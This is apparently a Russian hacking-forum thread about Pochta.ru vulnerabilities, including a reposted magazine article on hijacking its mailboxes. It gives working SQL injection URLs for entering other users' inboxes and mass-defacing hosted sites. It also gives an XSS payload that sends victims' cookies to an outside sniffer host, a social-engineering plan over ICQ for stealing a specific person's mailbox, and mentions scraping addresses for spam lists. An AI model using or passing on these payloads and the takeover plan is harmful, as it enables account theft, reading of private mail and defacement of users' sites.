Баги на Почте.ру [intro] Всем привет, вот написал небольшую статейку об обнаруженных мною уязвимостях на Почте.ру. Большинство описанных здесь багов были найдены мною еще несколько месяцев назад, и в службу поддержки этого почтового сервиса я отправлял сообщение об обнаруженных уязвимостях и рекомендациями по их устранению. Некоторое время на главной странице сайта провисело сообщение администрации к пользователям с извенениями о возможных неполадках в работе сервиса. Недавно сообщение это убрали, НО ВСЕ БАГИ ТАК ДО СИХ ПОР И ОСТАЛИСЬ. Непорядок. А ведь Почта.ру достаточно серьезная почтовая система (ее домены: pochta.ru, fromru.com, front.ru, hotbox.ru, krovatka.net, land,ru, mail15.com, mail333.com, pisem.net, pochtamt.ru, pop3.ru, rbcmail.ru, smtp.ru). [Итак приступим] Сразу перечислю ряд уязвимых мест, которые присутствуют в данной системе: 1) возможность захода в систему одновременно с разных ip-аресов; 2) хранение ответа на секретный вопрос в открытом виде без необходимости ввода пароля для его просмотра; 3) и, собственно, отсутствие какой либо фильтрации на входящие данные в ключевых скриптах системы, что дает возможность использовать уязвимости типа passive-xss и sql-inj. Использование взломщиком этих трех уязвимостей системы может привести к следующим последствиям: 1) угон почтового ящика ; 2) угон случайных почтовых ящиков; 3) дефейс, ведь Почта.ру - это еще и бесплатный хостинг; 4) массдефейсы; 5) атаки типа DoS на БД; 6) несанкционированное получение определенной иформации, например, чтение циркулирующих в системе писем или вытаскивание инфрмации из БД адресной книги; 7) теоретичеки существует возможность более серьезного проникновения на сервер, но я не ставил перед собой такой цели, поэтому ничего об этом сказать не могу. [xss] Пассивная xss присутствует в скрипте mailbox.php в параметре mailb. Сначала мне показалось, что эту уязвимость использовать для угона cookie нельзя, так как скрипту передается еще уникальный идентификатор сессии (параметр id), который создается при авторизации в системе. Но потом я нашел аж два способа (способы эти, надо сказать, несколько оригинальные ) обойти это. Один с помощью sql-inj, другой - связан с отсутствием проверки на заход в систему с разных ip. Надо сказать, что способ угона ящиков через пассивную xss не очень эффективен: во-первых, по умолчанию авторизация через кукисы отключена, а во-вторых большинство пользователей веб-интерфейс не использует, в-третьих, - она ведь пассивка . Со дня на день выйдет журнал ][, где подробно будут описаны мои опыты по угону ящиков на Почте.ру (там будет и видео). [sql-inj в mailbox.php] Скуль-иньекции, присутствующие на сайте гораздо круче чем пассивная xss. Вчера вот обнаружил такую тему: http://forum.antichat.ru/thread19714-pochta.ru.html : Zitt, я знаю в чем дело . Все дело в очень веселой sql-injection уязвимости на этом сайте. Уязвимым оказался сам параметр id - идентификатор сессии. Почему веселой? Просто, если к идентификатору сессии добавить 'or'1 , то оказываешься в чужом ящике и все остальные (ну, я не совсем уверен, что все) юзеры Почты на сервере, для которых в БД лежит id сессии (проще говоря, те кто сидят в этот момент на сайте Почты через браузер), окажутся в этом же ящике. Но это становится уже не совсем чей-то конкретно ящик - там в придачу часто оказывается куча писем, из самого ящика + те что недавно были отправлены/приняты и еще хрен поймешь какие. Все нафиг перемешивается. Это все срабатывает не очень стабильно и очень глючно. Например писем может и не быть. А могут быть, но читаться не будут. Зато можно проделывать с этим ящиком все что угодно: писать с него письма, посмотреть и изменить настройки и т.д. (вероятно, что эти изменения отразятся и на других ящиках, а может и нет - не проверял особо). В общем, просто перейдя по ссылке Code: http://www.pochta.ru/mailbox.php?id=N'or'1 можно посеять маленький хаос в этой почтовой системе . [sql-inj в contact.php] Идем дальше. Адресная книга. Когда мы просматриваем какую нибудь запись в ней, то урл выглядит следующим образом: Code: http://www.pochta.ru/adb/contact.php?id=[id_сессии]&uid=[id_записи] Параметр uid - номер записи контакта в БД. Пробуем кавычку, получаем ответ сервера: Code: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '[email protected]'' at line 1 Если добавить к нему 'or' , то становится возможным изменять этот параметр просмотрев по-отдельности все записи, что имеются в БД. Неплохой источник для создания нехилого спам-листа (параметр uid изменяется от 1 до более чем 50 миллионов, так что мейлов насобирать можно немерено). Я нацарапал (чисто из интересу ) простенький скрипт, с помощью которого можно доставать эти мыльники и насобирал за пару дней небольшой спам-листик, но после решил, что для шеллов можно найти и лучшее применение . Пробуем использовать union в этом параметре: Code: http://www.pochta.ru/adb/contact.php?id=[id_сессии]&uid=[id_записи]'or''+union+select+null/* В ответ получаем: Code: The used SELECT statements have a different number of columns Я пробовал подобрать количество столбцов, но у меня или не получалось или даже приводило к этакому DoS - при восьми нуллах БД пару раз висла и раздел сайта "Контакты" вообще переставал работать (один раз на несколько часов). После этого я решил прекратить подобные попытки скуль-инъекций. Ну вот в общем-то и все... а, нет, еще не все: я упоминал про возможность массдефейсов. [massdeface] Еще когда я писал статью об угоне ящиков меня посещала идея о возможности массдефейсов на сайтах, хостящихся на этом почто-хостинге. Реализовать их можно используя sql-inj в параметре id. Для этого можно написать бота, который будет через определенные промежутки времени заходить на сайт по ссылке Code: http://www.pochta.ru/hosting/[id_сессии]'or'1/edit/file/?dir=/&file=index.html , писать че-нибудь тама и сохранять это. Даже на тех аккаунтах, у которых нету сайта, он появится - сразу с дефейсом . И еще кое что: можно ведь совмещать xss и sql-inj. Интересно наблюдать как из одной ПАССИВНОЙ xss на снифер приходит штук по 50 записей... P.S. За все время моих исследований ни один чел не лишился своего мыла, ни один сайт не был задефейсен, и вообще никто не пострадал (про то что "Контакты" не работали - так это я наврал, небыло такого, хе-хе ). Так что и вы, читающие это, не тупите, ок? P.P.S. Если у тебя ящик на почте и ты предпочитаешь веб-интерфейс Bat'у, то рекомендую пользоваться старым интерфейсом Почты на http://old.pochta.ru.
Небольшое дополнение. Доступен метод TRACE Описание С помощью использования метода TRACE в протоколе HTTP возможно выполнение атаки межсайтовый скриптинг. Ссылки с параметрами Описание Список ссылок найденных на веб-сервере, которые используют какие-либо параметры: /regform.php?rnd2=1&aid=1&bt_next=1&rnd_img_str=1&bt_next=1 /?sid=5e646f6e1048527134e382fbca69c9cb&lng=en&rnd=332745106 /?sid=5e646f6e1048527134e382fbca69c9cb&bt_cancel=on&lng=ru /rnd_img.php?sid=5e646f6e1048527134e382fbca69c9cb /help.php?caption_id=9&lng=ru&skin=september /advertising.php?lng=ru&skin=september /?caption_id=1&lng=ru&skin=september /regform.php?lng=ru&skin=september /support.php?lng=ru&skin=september /help.php?lng=ru&skin=september /?lng=en&skin=september /info.php?mid=agreement /?mid=agreement&lng=en /help.php?caption_id= /?caption_id=&lng=en /regform.php?lng=en /forgot.php?lng=en /?lng=en Список форм Описание Обнаружены формы (POST запрос), использующиеся для передачи данных на сервер. В переменных HIDDEN может храниться специфическая или чувствительная информация. Переменные PASSWORD служат для ввода пароля. Список форм: POST /login.php HTTP/1.1 reason=&lng=&rnd=&user=&pass=&domain=&rememb= POST / HTTP/1.1 lng=&skin= POST /?lng=en HTTP/1.1 skin= POST /support.php?lng=ru&skin=september HTTP/1.1 userName=&userEmail=&email=&sendCopy=&subject=&domain= POST /forgot.php HTTP/1.1 lng=&login=&domain= POST /?sid=5e646f6e1048527134e382fbca69c9cb&lng=en&rnd=332745106 HTTP/1.1 skin= POST /?sid=5e646f6e1048527134e382fbca69c9cb&bt_cancel=on&lng=ru HTTP/1.1 skin= POST /?caption_id=&lng=en HTTP/1.1 skin= POST /?mid=agreement&lng=en HTTP/1.1 skin=
Статья хорошая. Но автору надо бы сделать получше оформление. Раз начал зелёным цветом выделять, то выделил бы важные места в статье.
Чтож отличного? Я можно сказать метнулся седня на халяву чужими находками попользоваться, а тут блин. Теперь все самому искать надо. З.Ы. как назло, когда надо ничего нет)
мож кому интересно - вот оригинал статьи (в ][ ее чуть урезали) об угоне ящиков с Почты, которая публиковалась в ][ 93... Угон ящика с Почты.ру by Digimortal [intro] Однажды один мой знакомый поинтересовался у меня, возможно ли получить доступ к почтовому ящику, прописанному на Почте.ру. Я об уязвимостях этого почтового сервиса на тот момент ничего не знал и поэтому решил посмотреть на месте что там к чему. Зайдя на главную страницу, я тут же заметил первый глюк - счетчик, показывающий количество принятых за день писем стоял в значении "0", в то время как отправленных писем было более десяти тысяч. Зарегистрировав себе ящик, я убедился, что это был не глюк системы подсчета пересылаемых писем, просто-напросто письма в тот день на Почту.ру вообще не доходили. То же самое я увидел и на следующий день. К чему я клоню? Просто хочу намекнуть тебе не использовать данную почтовую службу для пересылки почты стратегической важности. Зато вместе с ящиком можно быстро и удобно создать свой сайт, разместив там скрипты веб-шеллов для инклуда или еще чего . Впрочем, перейдем к делу. Я знал, что человек, в ящик которого нужно было попасть, использует веб-интерфейс для входа в почту, и весьма высока вероятность того, что исполнение javascript'ов в его браузере разрешено. Понятное дело, разумным будет тогда попробовать найти xss на сайте и угнать его куки. Решив взглянуть на содержимое cookies, которые передает сайт, я обнаружил, что по умолчанию куки не приходят - нужно при входе в ящик выбрать "да". Повторив вход таким образом, я обнаружил целых четыре печенюшки, залетевшие мне на комп. Их содержимое меня, в принципе, мало интересовало. По их названиям было видно, что там находятся зашифрованные логин, пасс, в общем, все, что нужно для быстрого входа в ящик, а срок их действия составляет аж целый год. Конечно, далеко не каждый пользователь использует подобный способ аутентификации, но все же стоило попробовать. [Баг 1. XSS] Осмотрев свой почтовый ящик, я принялся эксперементровать с ним, разыскивая наличие xss. Разыскивать долго не пришлось, точнее не пришлось совсем. Представь мое удивление, когда я обнаружил его уже с первой попытки! Уязвимым оказался сценарий mailbox.php, служащий для перемещений по папкам почтового ящика. Данному скрипту передается параметр mailb, который содержит название папки, в которую необходимо осуществить переход. Если подставить в этот параметр значение, не совпадающее с имеющейся в данном ящике папкой, то получаем переход на несуществующую папку, название которой попадает в html-код странице. Вставив небольшой кусочек javascript-кода в качестве значения mailb, я увидел в выскочившем окошке содержимое своих кукисов: Code: http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983&mailb=<script>alert(Document.cookie)</script> Но, как ты уже сам видишь, помимо этого скрипту так же передается параметр id, содержащий идентификатор сессии пользователя. Данный параметр, создаваемый при входе в ящик, уникален для каждого входа и узнать каким он должен быть у человека, который получит ссылку, отравленную xss, попросту невозможно. Понимая это, я принялся искать xss, там, где данный идентификатор не используется, т.е. за пределами ящика. Но, как и следовало ожидать, ничего не нашел. Возникло предположение, что именно наличием параметра id руководствовались программисты, создавшие скрипт, совершенно не фильтрующий ввод (могли бы хоть спецсимволы запретить). Как оказалось, нет - просто видать не доделали чего-то. [Баг 2. SQL-inj] Если сценарий никак не фильтрует ввод, то и сам параметр id может быть уязвим, решил я. И не ошибся. Конечно, значения идентификаторов сессий хранятся в БД. Проверим на скуль-иньекцию. Подставив кавычку в конец идентификатора, я вылетел из своего ящика, затем я дописал конструкцию вида "'or'1=1" (без кавычек, ясное дело): Code: http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983'or'1=1 Вот тут началось самое интересное - я оказался в чужом ящике! Это было уже действительно интересно. Немного порывшись в настройках, заглянув на сайт, я задался вопросом, почему меня перенесло именно на этот ящик? Логика подставленного значения параметра id означает, что я могу, по идее, попасть на любой из ящиков, для которых в БД хранится идентификатор сессии, т.е. на любой из ящиков, которые в это время кто-нибудь просматривает. Я стал различными способами видоизменять вышеприведенный запрос, в итоге, обнаружив, что "1=1" писать необязательно, достаточно написать просто "1" (или любое число >0). Кроме того, значение идентификатора теперь перестало иметь свой смысл, нужно было оставить только букву "N" в начале (с таким id не получалось зайти на сайт, прилагаемый к данному ящику, но мне это было и не нужно). В итоге, запрос сокращался до следующего вида: Code: http://www9.pochta.ru/mailbox.php?id=N'or'1 Набрав эту ссылку в адресной строке браузера, можно было сходу попасть в чей-нибудь ящик. И тут я понял, что с ящиком, в который я попадаю, все не так просто. Несколько раз обновив страницу в браузере, я заметил, что в ящике появляются новые папки, меняется цвет фона и т.п. вещи. Я зашел в папку "Входящие" и начал обновлять страницу. Тут все уже прояснилось - сначала мне казалось, что я попадаю в какой-то конкретный ящик, но на деле все оказалось так, как и диктовала логика запроса - мне были видны письма всех (хотя я в этом до конца не уверен) пользователей, идентифицировавшихся в системе. Причем, обновляя страницу, были видны последние, судя по дате, письма отпраляемые/получаемые данной почтовой системой. Правда, оказалось, что прочитать удается далеко не каждое из них. Все это действовало, но весьма глючно. Теперь у меня возникло еще одно предположение, которое не могло быть неверным: если я начну с таким значением id, вносить какие-то изменения в настройки, создавать папки и т.д., то это отразится и на всех остальных ящиках, для которых в данный момент создан идентификатор сессии. Так оно и оказалось и даже более того: другие пользователи во время моего вмешательства в работу базы данных идентификаторов текущих сессий, при заходе в ящик видели примерно то же, что и я при входе с id=N'or'1. Все это происходило очень весело: кто-то создал папку под названием "Кто_нибудь_знает_что_происходит", и понеслись ответы-предположения. Получился своеобразный чат, где каждый мог выразить свою мысль в названии созданной им папки . После многих кликов на кнопку обновления страницы, я увидел, что ящик, в который я попадаю, все же меняется время от времени на другой, по всей видимости, по истечению действия его id. После этого я еще несколько раз заходил на сайт Почты.ру с таким значением id в url. В итоге решил, что не нужно лишний раз палиться, ведь юзеры почты могут отписать админам об подобных случаях и эту багу залатают. А у меня уже возникла идея, как применить ее для решения задачи, которую я изначально ставил перед собой - захвата ящика. [Добываем куки] Итак, мы имеем два уязвимых параметра в скрипте. Сразу приходит на ум идея проэксплуатировать их вместе: Code: http://www9.pochta.ru/mailbox.php?id=N'or'1&mailb=[здесь скрипт, угоняющий куки] Отличная идея! Такой ядовитый урл можно кинуть жертве в аську, конечно, замаскировав его получше, и его куки с почты полетят на твой сниффер, а если быть более точным, прилетят куки всех зашедших на свой ящик пользователей почты. Повозившись немного, я составил следующий xss-сплоит: Code: http://www9.pochta.ru/mailbox.php?id=N'or'1&mailb=<script>document.location="http://ccl.whiteacid.org/log.php?123456"%2Bdocument.cookie</script> Здесь, "http://ccl.whiteacid.org/log.php?123456" - адрес сниффера, "%2B" - это знак "+" в url-кодировке (дело в том, что скрипт перед попаданием в тело страницы декодируется из url-кодировки, и "+" заменяется пробелом). Используемый мною скрипт далеко не идеален, он открывает сайт почты, а затем переносит на чистую страницу сниффера. Как показала практика, обычно, на это юзеры реагируют нажатием кнопки "обновить" или "назад". Конечно, на загрузку сайта почты, многие отреагируют подозрительно. С подозрением отнесутся и к предложению кликнуть по присланной тобою ссылке, даже по-максимуму замаскированной. И тут мне вспомнилась еще одна вещь, которую я заметил раньше. Фишка в том, что если я вносил javascript-код в тело страницы: Code: http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983&mailb=<script>alert('xss')</script> То при переходе по ссылке Code: http://www9.pochta.ru/mailbox.php?id=Ndc4c56a9f218620edc2fa5210dca983 он вновь исполнялся. Пока не будет осуществлен выход из ящика, т.е. завершение сессии. Аналогично, запустив вышеописанный сплоит на своем компе, я мог просто переслать ссылку Code: http://www9.pochta.ru/mailbox.php?id=N'or'1 вместо сплоита! Тут даже продвинутый юзер ни о чем не догадается, а если хоть немного владеть СИ, то и подавно. [Угон ящика] После всего этого я составил план похищения ящика: 1. Вступить в контакт с жертвой по icq. 2. Заставить приемами СИ жертву зайти по ссылке http://www9.pochta.ru/mailbox.php?id=N'or'1, перед этим, самому зайти на сайт по ссылке со сплоитом. 3. Отыскать среди кучи логов запись, принадлежащую жертве, при этом, не прекращая общаться через аську, чтоб тот не успел сообразить, что его поимели. 4. Если куки есть, то это очень круто. Осталось вставить их вместо собственных и зайти в ящик. Времени терять не стоит, нужно будет подсмотреть ответ на секретный вопрос, который хранится в открытом виде (весьма часто встречающаяся недоработка создателей почтовых систем, не так ли . Все. Остается только сменить пароль на почтовый ящик (ну и секретные вопрос/ответ, конечно, тоже . Правда, в моем случае, обнаружить печенья не удалось. Ящик остался у своего владельца. Меня это не особо расстроило - само по себе нахождение багов на почте оказалось весьма интересным и веселым занятием. Как видишь, даже на крупных почтовых сервисах можно легко найти элементарные по своей сути недоработки, которые могут привести к непредсказуемым последствиям (например, массдефейсам сайтов, прилагаемых к почтовым ящикам . Кстати, в старом интерфейсе Почты, находящемся сегодня по адресу http://old.pochta.ru, дела с безопасностью обстоят гораздо лучше. Прошло уже более месяца, после того как я впервые нашел баги на почте, я как раз заканчивал работу над этой статьей, когда меня посетила мысль о том, как можно угонять куки несколько более "тихим" способом. Вместо того чтобы использовать значение параметра id=N'or'1, лучше просто, создав ящик и зайдя в него, выполнить js, пересылающий куки на логгер, а затем отправить жертве ссылку с идентификатором собственной текущей сессии. Таким образом, чел, нажавший на ссылку окажется в твоем ящике, а ты заполучаешь его куки. Возможность одновременного захода в почтовый ящик с разных ip - это еще одна недоработка разработчиков почтовой системы. После всего этого, я написал письмо в службу поддержки Почты.ру, описав найденные баги. Думаю, к моменту издания журнала, безопасность данного почтового сервиса несколько повысится. ---------------------------- (c) Gameland
